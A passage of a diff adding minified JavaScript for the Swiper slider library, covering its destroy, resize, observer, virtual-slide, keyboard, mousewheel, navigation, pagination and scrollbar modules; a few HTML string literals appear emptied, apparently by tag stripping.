n.destroyed) { + return null + } + n.emit("beforeDestroy"); + n.initialized = false; + n.detachEvents(); + if (r.loop) { + n.loopDestroy() + } + if (i) { + n.removeClasses(); + a.removeAttr("style"); + s.removeAttr("style"); + if (o && o.length) { + o.removeClass([r.slideVisibleClass, r.slideActiveClass, r.slideNextClass, r.slidePrevClass].join(" ")).removeAttr("style").removeAttr("data-swiper-slide-index").removeAttr("data-swiper-column").removeAttr("data-swiper-row") + } + } + n.emit("destroy"); + (0, g.default)(n.eventsListeners).forEach(function (e) { + n.off(e) + }); + if (t !== false) { + n.$el[0].swiper = null; + n.$el.data("swiper", null); + k.deleteProps(n) + } + n.destroyed = true; + return null + } + }], [{ + key: "extendDefaults", + value: function e(t) { + k.extend(je, t) + } + }, { + key: "extendedDefaults", + get: function e() { + return je + } + }, { + key: "defaults", + get: function e() { + return Ae + } + }, { + key: "Class", + get: function e() { + return T + } + }, { + key: "$", + get: function e() { + return y.$ + } + }]); + return t + }(T); + var Ie = { + name: "device", + proto: { + device: ce + }, + static: { + device: ce + } + }; + var Fe = { + name: "support", + proto: { + support: L + }, + static: { + support: L + } + }; + var ze = { + name: "browser", + proto: { + browser: Le + }, + static: { + browser: Le + } + }; + var Re = { + name: "resize", + create: function e() { + var t = this; + k.extend(t, { + resize: { + resizeHandler: function e() { + if (!t || t.destroyed || !t.initialized) return; + t.emit("beforeResize"); + t.emit("resize") + }, + orientationChangeHandler: function e() { + if (!t || t.destroyed || !t.initialized) return; + t.emit("orientationchange") + } + } + }) + }, + on: { + init: function e() { + var t = this; + b.window.addEventListener("resize", t.resize.resizeHandler); + b.window.addEventListener("orientationchange", t.resize.orientationChangeHandler) + }, + destroy: function e() { + var t = this; + b.window.removeEventListener("resize", t.resize.resizeHandler); + b.window.removeEventListener("orientationchange", t.resize.orientationChangeHandler) + } + } + }; + var Ne = { + func: b.window.MutationObserver || b.window.WebkitMutationObserver, + attach: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var n = this; + var r = Ne.func; + var a = new r(function (e) { + if (e.length === 1) { + n.emit("observerUpdate", e[0]); + return + } + var t = function t() { + n.emit("observerUpdate", e[0]) + }; + if (b.window.requestAnimationFrame) { + b.window.requestAnimationFrame(t) + } else { + b.window.setTimeout(t, 0) + } + }); + a.observe(t, { + attributes: typeof i.attributes === "undefined" ? true : i.attributes, + childList: typeof i.childList === "undefined" ? true : i.childList, + characterData: typeof i.characterData === "undefined" ? true : i.characterData + }); + n.observer.observers.push(a) + }, + init: function e() { + var t = this; + if (!L.observer || !t.params.observer) return; + if (t.params.observeParents) { + var i = t.$el.parents(); + for (var n = 0; n < i.length; n += 1) { + t.observer.attach(i[n]) + } + } + t.observer.attach(t.$el[0], { + childList: false + }); + t.observer.attach(t.$wrapperEl[0], { + attributes: false + }) + }, + destroy: function e() { + var t = this; + t.observer.observers.forEach(function (e) { + e.disconnect() + }); + t.observer.observers = [] + } + }; + var We = { + name: "observer", + params: { + observer: false, + observeParents: false + }, + create: function e() { + var t = this; + k.extend(t, { + observer: { + init: Ne.init.bind(t), + attach: Ne.attach.bind(t), + destroy: Ne.destroy.bind(t), + observers: [] + } + }) + }, + on: { + init: function e() { + var t = this; + t.observer.init() + }, + destroy: function e() { + var t = this; + t.observer.destroy() + } + } + }; + var Be = { + update: function e(t) { + var i = this; + var n = i.params, + r = n.slidesPerView, + a = n.slidesPerGroup, + s = n.centeredSlides; + var o = i.params.virtual, + l = o.addSlidesBefore, + u = o.addSlidesAfter; + var d = i.virtual, + f = d.from, + c = d.to, + h = d.slides, + m = d.slidesGrid, + p = d.renderSlide, + v = d.offset; + i.updateActiveIndex(); + var _ = i.activeIndex || 0; + var g = void 0; + if (i.rtlTranslate) g = "right"; + else g = i.isHorizontal() ? "left" : "top"; + var y = void 0; + var b = void 0; + if (s) { + y = Math.floor(r / 2) + a + l; + b = Math.floor(r / 2) + a + u + } else { + y = r + (a - 1) + l; + b = a + u + } + var w = Math.max((_ || 0) - b, 0); + var M = Math.min((_ || 0) + y, h.length - 1); + var L = (i.slidesGrid[w] || 0) - (i.slidesGrid[0] || 0); + k.extend(i.virtual, { + from: w, + to: M, + offset: L, + slidesGrid: i.slidesGrid + }); + + function T() { + i.updateSlides(); + i.updateProgress(); + i.updateSlidesClasses(); + if (i.lazy && i.params.lazy.enabled) { + i.lazy.load() + } + } + if (f === w && c === M && !t) { + if (i.slidesGrid !== m && L !== v) { + i.slides.css(g, L + "px") + } + i.updateProgress(); + return + } + if (i.params.virtual.renderExternal) { + i.params.virtual.renderExternal.call(i, { + offset: L, + from: w, + to: M, + slides: function e() { + var t = []; + for (var i = w; i <= M; i += 1) { + t.push(h[i]) + } + return t + }() + }); + T(); + return + } + var x = []; + var S = []; + if (t) { + i.$wrapperEl.find("." + i.params.slideClass).remove() + } else { + for (var Y = f; Y <= c; Y += 1) { + if (Y < w || Y > M) { + i.$wrapperEl.find("." + i.params.slideClass + '[data-swiper-slide-index="' + Y + '"]').remove() + } + } + } + for (var D = 0; D < h.length; D += 1) { + if (D >= w && D <= M) { + if (typeof c === "undefined" || t) { + S.push(D) + } else { + if (D > c) S.push(D); + if (D < f) x.push(D) + } + } + } + S.forEach(function (e) { + i.$wrapperEl.append(p(h[e], e)) + }); + x.sort(function (e, t) { + return e < t + }).forEach(function (e) { + i.$wrapperEl.prepend(p(h[e], e)) + }); + i.$wrapperEl.children(".swiper-slide").css(g, L + "px"); + T() + }, + renderSlide: function e(t, i) { + var n = this; + var r = n.params.virtual; + if (r.cache && n.virtual.cache[i]) { + return n.virtual.cache[i] + } + var a = r.renderSlide ? (0, y.$)(r.renderSlide.call(n, t, i)) : (0, y.$)('
' + t + "
"); + if (!a.attr("data-swiper-slide-index")) a.attr("data-swiper-slide-index", i); + if (r.cache) n.virtual.cache[i] = a; + return a + }, + appendSlide: function e(t) { + var i = this; + i.virtual.slides.push(t); + i.virtual.update(true) + }, + prependSlide: function e(t) { + var i = this; + i.virtual.slides.unshift(t); + if (i.params.virtual.cache) { + var n = i.virtual.cache; + var r = {}; + (0, g.default)(n).forEach(function (e) { + r[e + 1] = n[e] + }); + i.virtual.cache = r + } + i.virtual.update(true); + i.slideNext(0) + } + }; + var qe = { + name: "virtual", + params: { + virtual: { + enabled: false, + slides: [], + cache: true, + renderSlide: null, + renderExternal: null, + addSlidesBefore: 0, + addSlidesAfter: 0 + } + }, + create: function e() { + var t = this; + k.extend(t, { + virtual: { + update: Be.update.bind(t), + appendSlide: Be.appendSlide.bind(t), + prependSlide: Be.prependSlide.bind(t), + renderSlide: Be.renderSlide.bind(t), + slides: t.params.virtual.slides, + cache: {} + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (!t.params.virtual.enabled) return; + t.classNames.push(t.params.containerModifierClass + "virtual"); + var i = { + watchSlidesProgress: true + }; + k.extend(t.params, i); + k.extend(t.originalParams, i); + t.virtual.update() + }, + setTranslate: function e() { + var t = this; + if (!t.params.virtual.enabled) return; + t.virtual.update() + } + } + }; + var $e = { + handle: function e(t) { + var i = this; + var n = i.rtlTranslate; + var r = t; + if (r.originalEvent) r = r.originalEvent; + var a = r.keyCode || r.charCode; + if (!i.allowSlideNext && (i.isHorizontal() && a === 39 || i.isVertical() && a === 40)) { + return false + } + if (!i.allowSlidePrev && (i.isHorizontal() && a === 37 || i.isVertical() && a === 38)) { + return false + } + if (r.shiftKey || r.altKey || r.ctrlKey || r.metaKey) { + return undefined + } + if (b.document.activeElement && b.document.activeElement.nodeName && (b.document.activeElement.nodeName.toLowerCase() === "input" || b.document.activeElement.nodeName.toLowerCase() === "textarea")) { + return undefined + } + if (i.params.keyboard.onlyInViewport && (a === 37 || a === 39 || a === 38 || a === 40)) { + var s = false; + if (i.$el.parents("." + i.params.slideClass).length > 0 && i.$el.parents("." + i.params.slideActiveClass).length === 0) { + return undefined + } + var o = b.window.innerWidth; + var l = b.window.innerHeight; + var u = i.$el.offset(); + if (n) u.left -= i.$el[0].scrollLeft; + var d = [ + [u.left, u.top], + [u.left + i.width, u.top], + [u.left, u.top + i.height], + [u.left + i.width, u.top + i.height] + ]; + for (var f = 0; f < d.length; f += 1) { + var c = d[f]; + if (c[0] >= 0 && c[0] <= o && c[1] >= 0 && c[1] <= l) { + s = true + } + } + if (!s) return undefined + } + if (i.isHorizontal()) { + if (a === 37 || a === 39) { + if (r.preventDefault) r.preventDefault(); + else r.returnValue = false + } + if (a === 39 && !n || a === 37 && n) i.slideNext(); + if (a === 37 && !n || a === 39 && n) i.slidePrev() + } else { + if (a === 38 || a === 40) { + if (r.preventDefault) r.preventDefault(); + else r.returnValue = false + } + if (a === 40) i.slideNext(); + if (a === 38) i.slidePrev() + } + i.emit("keyPress", a); + return undefined + }, + enable: function e() { + var t = this; + if (t.keyboard.enabled) return; + (0, y.$)(b.document).on("keydown", t.keyboard.handle); + t.keyboard.enabled = true + }, + disable: function e() { + var t = this; + if (!t.keyboard.enabled) return; + (0, y.$)(b.document).off("keydown", t.keyboard.handle); + t.keyboard.enabled = false + } + }; + var Ve = { + name: "keyboard", + params: { + keyboard: { + enabled: false, + onlyInViewport: true + } + }, + create: function e() { + var t = this; + k.extend(t, { + keyboard: { + enabled: false, + enable: $e.enable.bind(t), + disable: $e.disable.bind(t), + handle: $e.handle.bind(t) + } + }) + }, + on: { + init: function e() { + var t = this; + if (t.params.keyboard.enabled) { + t.keyboard.enable() + } + }, + destroy: function e() { + var t = this; + if (t.keyboard.enabled) { + t.keyboard.disable() + } + } + } + }; + + function Ge() { + var e = "onwheel"; + var t = e in b.document; + if (!t) { + var i = b.document.createElement("div"); + i.setAttribute(e, "return;"); + t = typeof i[e] === "function" + } + if (!t && b.document.implementation && b.document.implementation.hasFeature && b.document.implementation.hasFeature("", "") !== true) { + t = b.document.implementation.hasFeature("Events.wheel", "3.0") + } + return t + } + var Ue = { + lastScrollTime: k.now(), + event: function e() { + if (b.window.navigator.userAgent.indexOf("firefox") > -1) return "DOMMouseScroll"; + return Ge() ? "wheel" : "mousewheel" + }(), + normalize: function e(t) { + var i = 10; + var n = 40; + var r = 800; + var a = 0; + var s = 0; + var o = 0; + var l = 0; + if ("detail" in t) { + s = t.detail + } + if ("wheelDelta" in t) { + s = -t.wheelDelta / 120 + } + if ("wheelDeltaY" in t) { + s = -t.wheelDeltaY / 120 + } + if ("wheelDeltaX" in t) { + a = -t.wheelDeltaX / 120 + } + if ("axis" in t && t.axis === t.HORIZONTAL_AXIS) { + a = s; + s = 0 + } + o = a * i; + l = s * i; + if ("deltaY" in t) { + l = t.deltaY + } + if ("deltaX" in t) { + o = t.deltaX + } + if ((o || l) && t.deltaMode) { + if (t.deltaMode === 1) { + o *= n; + l *= n + } else { + o *= r; + l *= r + } + } + if (o && !a) { + a = o < 1 ? -1 : 1 + } + if (l && !s) { + s = l < 1 ? -1 : 1 + } + return { + spinX: a, + spinY: s, + pixelX: o, + pixelY: l + } + }, + handleMouseEnter: function e() { + var t = this; + t.mouseEntered = true + }, + handleMouseLeave: function e() { + var t = this; + t.mouseEntered = false + }, + handle: function e(t) { + var i = t; + var n = this; + var r = n.params.mousewheel; + if (!n.mouseEntered && !r.releaseOnEdges) return true; + if (i.originalEvent) i = i.originalEvent; + var a = 0; + var s = n.rtlTranslate ? -1 : 1; + var o = Ue.normalize(i); + if (r.forceToAxis) { + if (n.isHorizontal()) { + if (Math.abs(o.pixelX) > Math.abs(o.pixelY)) a = o.pixelX * s; + else return true + } else if (Math.abs(o.pixelY) > Math.abs(o.pixelX)) a = o.pixelY; + else return true + } else { + a = Math.abs(o.pixelX) > Math.abs(o.pixelY) ? -o.pixelX * s : -o.pixelY + } + if (a === 0) return true; + if (r.invert) a = -a; + if (!n.params.freeMode) { + if (k.now() - n.mousewheel.lastScrollTime > 60) { + if (a < 0) { + if ((!n.isEnd || n.params.loop) && !n.animating) { + n.slideNext(); + n.emit("scroll", i) + } else if (r.releaseOnEdges) return true + } else if ((!n.isBeginning || n.params.loop) && !n.animating) { + n.slidePrev(); + n.emit("scroll", i) + } else if (r.releaseOnEdges) return true + } + n.mousewheel.lastScrollTime = (new b.window.Date).getTime() + } else { + if (n.params.loop) { + n.loopFix() + } + var l = n.getTranslate() + a * r.sensitivity; + var u = n.isBeginning; + var d = n.isEnd; + if (l >= n.minTranslate()) l = n.minTranslate(); + if (l <= n.maxTranslate()) l = n.maxTranslate(); + n.setTransition(0); + n.setTranslate(l); + n.updateProgress(); + n.updateActiveIndex(); + n.updateSlidesClasses(); + if (!u && n.isBeginning || !d && n.isEnd) { + n.updateSlidesClasses() + } + if (n.params.freeModeSticky) { + clearTimeout(n.mousewheel.timeout); + n.mousewheel.timeout = k.nextTick(function () { + n.slideToClosest() + }, 300) + } + n.emit("scroll", i); + if (n.params.autoplay && n.params.autoplayDisableOnInteraction) n.autoplay.stop(); + if (l === n.minTranslate() || l === n.maxTranslate()) return true + } + if (i.preventDefault) i.preventDefault(); + else i.returnValue = false; + return false + }, + enable: function e() { + var t = this; + if (!Ue.event) return false; + if (t.mousewheel.enabled) return false; + var i = t.$el; + if (t.params.mousewheel.eventsTarged !== "container") { + i = (0, y.$)(t.params.mousewheel.eventsTarged) + } + i.on("mouseenter", t.mousewheel.handleMouseEnter); + i.on("mouseleave", t.mousewheel.handleMouseLeave); + i.on(Ue.event, t.mousewheel.handle); + t.mousewheel.enabled = true; + return true + }, + disable: function e() { + var t = this; + if (!Ue.event) return false; + if (!t.mousewheel.enabled) return false; + var i = t.$el; + if (t.params.mousewheel.eventsTarged !== "container") { + i = (0, y.$)(t.params.mousewheel.eventsTarged) + } + i.off(Ue.event, t.mousewheel.handle); + t.mousewheel.enabled = false; + return true + } + }; + var Xe = { + name: "mousewheel", + params: { + mousewheel: { + enabled: false, + releaseOnEdges: false, + invert: false, + forceToAxis: false, + sensitivity: 1, + eventsTarged: "container" + } + }, + create: function e() { + var t = this; + k.extend(t, { + mousewheel: { + enabled: false, + enable: Ue.enable.bind(t), + disable: Ue.disable.bind(t), + handle: Ue.handle.bind(t), + handleMouseEnter: Ue.handleMouseEnter.bind(t), + handleMouseLeave: Ue.handleMouseLeave.bind(t), + lastScrollTime: k.now() + } + }) + }, + on: { + init: function e() { + var t = this; + if (t.params.mousewheel.enabled) t.mousewheel.enable() + }, + destroy: function e() { + var t = this; + if (t.mousewheel.enabled) t.mousewheel.disable() + } + } + }; + var Je = { + update: function e() { + var t = this; + var i = t.params.navigation; + if (t.params.loop) return; + var n = t.navigation, + r = n.$nextEl, + a = n.$prevEl; + if (a && a.length > 0) { + if (t.isBeginning) { + a.addClass(i.disabledClass) + } else { + a.removeClass(i.disabledClass) + } + a[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](i.lockClass) + } + if (r && r.length > 0) { + if (t.isEnd) { + r.addClass(i.disabledClass) + } else { + r.removeClass(i.disabledClass) + } + r[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](i.lockClass) + } + }, + init: function e() { + var t = this; + var i = t.params.navigation; + if (!(i.nextEl || i.prevEl)) return; + var n = void 0; + var r = void 0; + if (i.nextEl) { + n = (0, y.$)(i.nextEl); + if (t.params.uniqueNavElements && typeof i.nextEl === "string" && n.length > 1 && t.$el.find(i.nextEl).length === 1) { + n = t.$el.find(i.nextEl) + } + } + if (i.prevEl) { + r = (0, y.$)(i.prevEl); + if (t.params.uniqueNavElements && typeof i.prevEl === "string" && r.length > 1 && t.$el.find(i.prevEl).length === 1) { + r = t.$el.find(i.prevEl) + } + } + if (n && n.length > 0) { + n.on("click", function (e) { + e.preventDefault(); + if (t.isEnd && !t.params.loop) return; + t.slideNext() + }) + } + if (r && r.length > 0) { + r.on("click", function (e) { + e.preventDefault(); + if (t.isBeginning && !t.params.loop) return; + t.slidePrev() + }) + } + k.extend(t.navigation, { + $nextEl: n, + nextEl: n && n[0], + $prevEl: r, + prevEl: r && r[0] + }) + }, + destroy: function e() { + var t = this; + var i = t.navigation, + n = i.$nextEl, + r = i.$prevEl; + if (n && n.length) { + n.off("click"); + n.removeClass(t.params.navigation.disabledClass) + } + if (r && r.length) { + r.off("click"); + r.removeClass(t.params.navigation.disabledClass) + } + } + }; + var Ke = { + name: "navigation", + params: { + navigation: { + nextEl: null, + prevEl: null, + hideOnClick: false, + disabledClass: "swiper-button-disabled", + hiddenClass: "swiper-button-hidden", + lockClass: "swiper-button-lock" + } + }, + create: function e() { + var t = this; + k.extend(t, { + navigation: { + init: Je.init.bind(t), + update: Je.update.bind(t), + destroy: Je.destroy.bind(t) + } + }) + }, + on: { + init: function e() { + var t = this; + t.navigation.init(); + t.navigation.update() + }, + toEdge: function e() { + var t = this; + t.navigation.update() + }, + fromEdge: function e() { + var t = this; + t.navigation.update() + }, + destroy: function e() { + var t = this; + t.navigation.destroy() + }, + click: function e(t) { + var i = this; + var n = i.navigation, + r = n.$nextEl, + a = n.$prevEl; + if (i.params.navigation.hideOnClick && !(0, y.$)(t.target).is(a) && !(0, y.$)(t.target).is(r)) { + if (r) r.toggleClass(i.params.navigation.hiddenClass); + if (a) a.toggleClass(i.params.navigation.hiddenClass) + } + } + } + }; + var Qe = { + update: function e() { + var t = this; + var i = t.rtl; + var n = t.params.pagination; + if (!n.el || !t.pagination.el || !t.pagination.$el || t.pagination.$el.length === 0) return; + var r = t.virtual && t.params.virtual.enabled ? t.virtual.slides.length : t.slides.length; + var a = t.pagination.$el; + var s = void 0; + var o = t.params.loop ? Math.ceil((r - t.loopedSlides * 2) / t.params.slidesPerGroup) : t.snapGrid.length; + if (t.params.loop) { + s = Math.ceil((t.activeIndex - t.loopedSlides) / t.params.slidesPerGroup); + if (s > r - 1 - t.loopedSlides * 2) { + s -= r - t.loopedSlides * 2 + } + if (s > o - 1) s -= o; + if (s < 0 && t.params.paginationType !== "bullets") s = o + s + } else if (typeof t.snapIndex !== "undefined") { + s = t.snapIndex + } else { + s = t.activeIndex || 0 + } + if (n.type === "bullets" && t.pagination.bullets && t.pagination.bullets.length > 0) { + var l = t.pagination.bullets; + var u = void 0; + var d = void 0; + var f = void 0; + if (n.dynamicBullets) { + t.pagination.bulletSize = l.eq(0)[t.isHorizontal() ? "outerWidth" : "outerHeight"](true); + a.css(t.isHorizontal() ? "width" : "height", t.pagination.bulletSize * (n.dynamicMainBullets + 4) + "px"); + if (n.dynamicMainBullets > 1 && t.previousIndex !== undefined) { + t.pagination.dynamicBulletIndex += s - t.previousIndex; + if (t.pagination.dynamicBulletIndex > n.dynamicMainBullets - 1) { + t.pagination.dynamicBulletIndex = n.dynamicMainBullets - 1 + } else if (t.pagination.dynamicBulletIndex < 0) { + t.pagination.dynamicBulletIndex = 0 + } + } + u = s - t.pagination.dynamicBulletIndex; + d = u + (Math.min(l.length, n.dynamicMainBullets) - 1); + f = (d + u) / 2 + } + l.removeClass(n.bulletActiveClass + " " + n.bulletActiveClass + "-next " + n.bulletActiveClass + "-next-next " + n.bulletActiveClass + "-prev " + n.bulletActiveClass + "-prev-prev " + n.bulletActiveClass + "-main"); + if (a.length > 1) { + l.each(function (e, t) { + var i = (0, y.$)(t); + var r = i.index(); + if (r === s) { + i.addClass(n.bulletActiveClass) + } + if (n.dynamicBullets) { + if (r >= u && r <= d) { + i.addClass(n.bulletActiveClass + "-main") + } + if (r === u) { + i.prev().addClass(n.bulletActiveClass + "-prev").prev().addClass(n.bulletActiveClass + "-prev-prev") + } + if (r === d) { + i.next().addClass(n.bulletActiveClass + "-next").next().addClass(n.bulletActiveClass + "-next-next") + } + } + }) + } else { + var c = l.eq(s); + c.addClass(n.bulletActiveClass); + if (n.dynamicBullets) { + var h = l.eq(u); + var m = l.eq(d); + for (var p = u; p <= d; p += 1) { + l.eq(p).addClass(n.bulletActiveClass + "-main") + } + h.prev().addClass(n.bulletActiveClass + "-prev").prev().addClass(n.bulletActiveClass + "-prev-prev"); + m.next().addClass(n.bulletActiveClass + "-next").next().addClass(n.bulletActiveClass + "-next-next") + } + } + if (n.dynamicBullets) { + var v = Math.min(l.length, n.dynamicMainBullets + 4); + var _ = (t.pagination.bulletSize * v - t.pagination.bulletSize) / 2 - f * t.pagination.bulletSize; + var g = i ? "right" : "left"; + l.css(t.isHorizontal() ? g : "top", _ + "px") + } + } + if (n.type === "fraction") { + a.find("." + n.currentClass).text(n.formatFractionCurrent(s + 1)); + a.find("." + n.totalClass).text(n.formatFractionTotal(o)) + } + if (n.type === "progressbar") { + var b = void 0; + if (n.progressbarOpposite) { + b = t.isHorizontal() ? "vertical" : "horizontal" + } else { + b = t.isHorizontal() ? "horizontal" : "vertical" + } + var w = (s + 1) / o; + var M = 1; + var k = 1; + if (b === "horizontal") { + M = w + } else { + k = w + } + a.find("." + n.progressbarFillClass).transform("translate3d(0,0,0) scaleX(" + M + ") scaleY(" + k + ")").transition(t.params.speed) + } + if (n.type === "custom" && n.renderCustom) { + a.html(n.renderCustom(t, s + 1, o)); + t.emit("paginationRender", t, a[0]) + } else { + t.emit("paginationUpdate", t, a[0]) + } + a[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](n.lockClass) + }, + render: function e() { + var t = this; + var i = t.params.pagination; + if (!i.el || !t.pagination.el || !t.pagination.$el || t.pagination.$el.length === 0) return; + var n = t.virtual && t.params.virtual.enabled ? t.virtual.slides.length : t.slides.length; + var r = t.pagination.$el; + var a = ""; + if (i.type === "bullets") { + var s = t.params.loop ? Math.ceil((n - t.loopedSlides * 2) / t.params.slidesPerGroup) : t.snapGrid.length; + for (var o = 0; o < s; o += 1) { + if (i.renderBullet) { + a += i.renderBullet.call(t, o, i.bulletClass) + } else { + a += "<" + i.bulletElement + ' class="' + i.bulletClass + '">" + } + } + r.html(a); + t.pagination.bullets = r.find("." + i.bulletClass) + } + if (i.type === "fraction") { + if (i.renderFraction) { + a = i.renderFraction.call(t, i.currentClass, i.totalClass) + } else { + a = '' + " / " + ('') + } + r.html(a) + } + if (i.type === "progressbar") { + if (i.renderProgressbar) { + a = i.renderProgressbar.call(t, i.progressbarFillClass) + } else { + a = '' + } + r.html(a) + } + if (i.type !== "custom") { + t.emit("paginationRender", t.pagination.$el[0]) + } + }, + init: function e() { + var t = this; + var i = t.params.pagination; + if (!i.el) return; + var n = (0, y.$)(i.el); + if (n.length === 0) return; + if (t.params.uniqueNavElements && typeof i.el === "string" && n.length > 1 && t.$el.find(i.el).length === 1) { + n = t.$el.find(i.el) + } + if (i.type === "bullets" && i.clickable) { + n.addClass(i.clickableClass) + } + n.addClass(i.modifierClass + i.type); + if (i.type === "bullets" && i.dynamicBullets) { + n.addClass("" + i.modifierClass + i.type + "-dynamic"); + t.pagination.dynamicBulletIndex = 0; + if (i.dynamicMainBullets < 1) { + i.dynamicMainBullets = 1 + } + } + if (i.type === "progressbar" && i.progressbarOpposite) { + n.addClass(i.progressbarOppositeClass) + } + if (i.clickable) { + n.on("click", "." + i.bulletClass, function e(i) { + i.preventDefault(); + var n = (0, y.$)(this).index() * t.params.slidesPerGroup; + if (t.params.loop) n += t.loopedSlides; + t.slideTo(n) + }) + } + k.extend(t.pagination, { + $el: n, + el: n[0] + }) + }, + destroy: function e() { + var t = this; + var i = t.params.pagination; + if (!i.el || !t.pagination.el || !t.pagination.$el || t.pagination.$el.length === 0) return; + var n = t.pagination.$el; + n.removeClass(i.hiddenClass); + n.removeClass(i.modifierClass + i.type); + if (t.pagination.bullets) t.pagination.bullets.removeClass(i.bulletActiveClass); + if (i.clickable) { + n.off("click", "." + i.bulletClass) + } + } + }; + var Ze = { + name: "pagination", + params: { + pagination: { + el: null, + bulletElement: "span", + clickable: false, + hideOnClick: false, + renderBullet: null, + renderProgressbar: null, + renderFraction: null, + renderCustom: null, + progressbarOpposite: false, + type: "bullets", + dynamicBullets: false, + dynamicMainBullets: 1, + formatFractionCurrent: function e(t) { + return t + }, + formatFractionTotal: function e(t) { + return t + }, + bulletClass: "swiper-pagination-bullet", + bulletActiveClass: "swiper-pagination-bullet-active", + modifierClass: "swiper-pagination-", + currentClass: "swiper-pagination-current", + totalClass: "swiper-pagination-total", + hiddenClass: "swiper-pagination-hidden", + progressbarFillClass: "swiper-pagination-progressbar-fill", + progressbarOppositeClass: "swiper-pagination-progressbar-opposite", + clickableClass: "swiper-pagination-clickable", + lockClass: "swiper-pagination-lock" + } + }, + create: function e() { + var t = this; + k.extend(t, { + pagination: { + init: Qe.init.bind(t), + render: Qe.render.bind(t), + update: Qe.update.bind(t), + destroy: Qe.destroy.bind(t), + dynamicBulletIndex: 0 + } + }) + }, + on: { + init: function e() { + var t = this; + t.pagination.init(); + t.pagination.render(); + t.pagination.update() + }, + activeIndexChange: function e() { + var t = this; + if (t.params.loop) { + t.pagination.update() + } else if (typeof t.snapIndex === "undefined") { + t.pagination.update() + } + }, + snapIndexChange: function e() { + var t = this; + if (!t.params.loop) { + t.pagination.update() + } + }, + slidesLengthChange: function e() { + var t = this; + if (t.params.loop) { + t.pagination.render(); + t.pagination.update() + } + }, + snapGridLengthChange: function e() { + var t = this; + if (!t.params.loop) { + t.pagination.render(); + t.pagination.update() + } + }, + destroy: function e() { + var t = this; + t.pagination.destroy() + }, + click: function e(t) { + var i = this; + if (i.params.pagination.el && i.params.pagination.hideOnClick && i.pagination.$el.length > 0 && !(0, y.$)(t.target).hasClass(i.params.pagination.bulletClass)) { + i.pagination.$el.toggleClass(i.params.pagination.hiddenClass) + } + } + } + }; + var et = { + setTranslate: function e() { + var t = this; + if (!t.params.scrollbar.el || !t.scrollbar.el) return; + var i = t.scrollbar, + n = t.rtlTranslate, + r = t.progress; + var a = i.dragSize, + s = i.trackSize, + o = i.$dragEl, + l = i.$el; + var u = t.params.scrollbar; + var d = a; + var f = (s - a) * r; + if (n) { + f = -f; + if (f > 0) { + d = a - f; + f = 0 + } else if (-f + a > s) { + d = s + f + } + } else if (f < 0) { + d = a + f; + f = 0 + } else if (f + a > s) { + d = s - f + } + if (t.isHorizontal()) { + if (L.transforms3d) { + o.transform("translate3d(" + f + "px, 0, 0)") + } else { + o.transform("translateX(" + f + "px)") + } + o[0].style.width = d + "px" + } else { + if (L.transforms3d) { + o.transform("translate3d(0px, " + f + "px, 0)") + } else { + o.transform("translateY(" + f + "px)") + } + o[0].style.height = d + "px" + } + if (u.hide) { + clearTimeout(t.scrollbar.timeout); + l[0].style.opacity = 1; + t.scrollbar.timeout = setTimeout(function () { + l[0].style.opacity = 0; + l.transition(400) + }, 1e3) + } + }, + setTransition: function e(t) { + var i = this; + if (!i.params.scrollbar.el || !i.scrollbar.el) return; + i.scrollbar.$dragEl.transition(t) + }, + updateSize: function e() { + var t = this; + if (!t.params.scrollbar.el || !t.scrollbar.el) return; + var i = t.scrollbar; + var n = i.$dragEl, + r = i.$el; + n[0].style.width = ""; + n[0].style.height = ""; + var a = t.isHorizontal() ? r[0].offsetWidth : r[0].offsetHeight; + var s = t.size / t.virtualSize; + var o = s * (a / t.size); + var l = void 0; + if (t.params.scrollbar.dragSize === "auto") { + l = a * s + } else { + l = parseInt(t.params.scrollbar.dragSize, 10) + } + if (t.isHorizontal()) { + n[0].style.width = l + "px" + } else { + n[0].style.height = l + "px" + } + if (s >= 1) { + r[0].style.display = "none" + } else { + r[0].style.display = "" + } + if (t.params.scrollbarHide) { + r[0].style.opacity = 0 + } + k.extend(i, { + trackSize: a, + divider: s, + moveDivider: o, + dragSize: l + }); + i.$el[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](t.params.scrollbar.lockClass) + }, + setDragPosition: function e(t) { + var i = this; + var n = i.scrollbar, + r = i.rtlTranslate; + var a = n.$el, + s = n.dragSize, + o = n.trackSize; + var l = void 0; + if (i.isHorizontal()) { + l = t.type === "touchstart" || t.type === "touchmove" ? t.targetTouches[0].pageX : t.pageX || t.clientX + } else { + l = t.type === "touchstart" || t.type === "touchmove" ? t.targetTouches[0].pageY : t.pageY || t.clientY + } + var u = void 0; + u = (l - a.offset()[i.isHorizontal() ? "left" : "top"] - s / 2) / (o - s); + u = Math.max(Math.min(u, 1), 0); + if (r) { + u = 1 - u + } + var d = i.minTranslate() + (i.maxTranslate() - i.minTranslate()) * u; + i.updateProgress(d); + i.setTranslate(d); + i.updateActiveIndex(); + i.updateSlidesClasses() + }, + onDragStart: function e(t) { + var i = this; + var n = i.params.scrollbar; + var r = i.scrollbar, + a = i.$wrapperEl; + var s = r.$el, + o = r.$dragEl; + i.scrollbar.isTouched = true; + t.preventDefault(); + t.stopPropagation(); + a.transition(100); + o.transition(100); + r.setDragPosition(t); + clearTimeout(i.scrollbar.dragTimeout); + s.transition(0); + if (n.hide) { + s.css("opacity", 1) + } + i.emit("scrollbarDragStart", t) + }, + onDragMove: function e(t) { + var i = this; + var n = i.scrollbar, + r = i.$wrapperEl; + var a = n.$el, + s = n.$dragEl; + if (!i.scrollbar.isTouched) return; + if (t.preventDefault) t.preventDefault(); + else t.returnValue = false; + n.setDragPosition(t); + r.transition(0); + a.transition(0); + s.transition(0); + i.emit("scrollbarDragMove", t) + }, + onDragEnd: function e(t) { + var i = this; + var n = i.params.scrollbar; + var r = i.scrollbar; + var a = r.$el; + if (!i.scrollbar.isTouched) return; + i.scrollbar.isTouched = false; + if (n.hide) { + clearTimeout(i.scrollbar.dragTimeout); + i.scrollbar.dragTimeout = k.nextTick(function () { + a.css("opacity", 0); + a.transition(400) + }, 1e3) + } + i.emit("scrollbarDragEnd", t); + if (n.snapOnRelease) { + i.slideToClosest() + } + }, + enableDraggable: function e() { + var t = this; + if (!t.params.scrollbar.el) return; + var i = t.scrollbar, + n = t.touchEvents, + r = t.touchEventsDesktop, + a = t.params; + var s = i.$el; + var o = s[0]; + var l = L.passiveListener && a.passiveListeners ? { + passive: false, + capture: false + } : false; + var u = 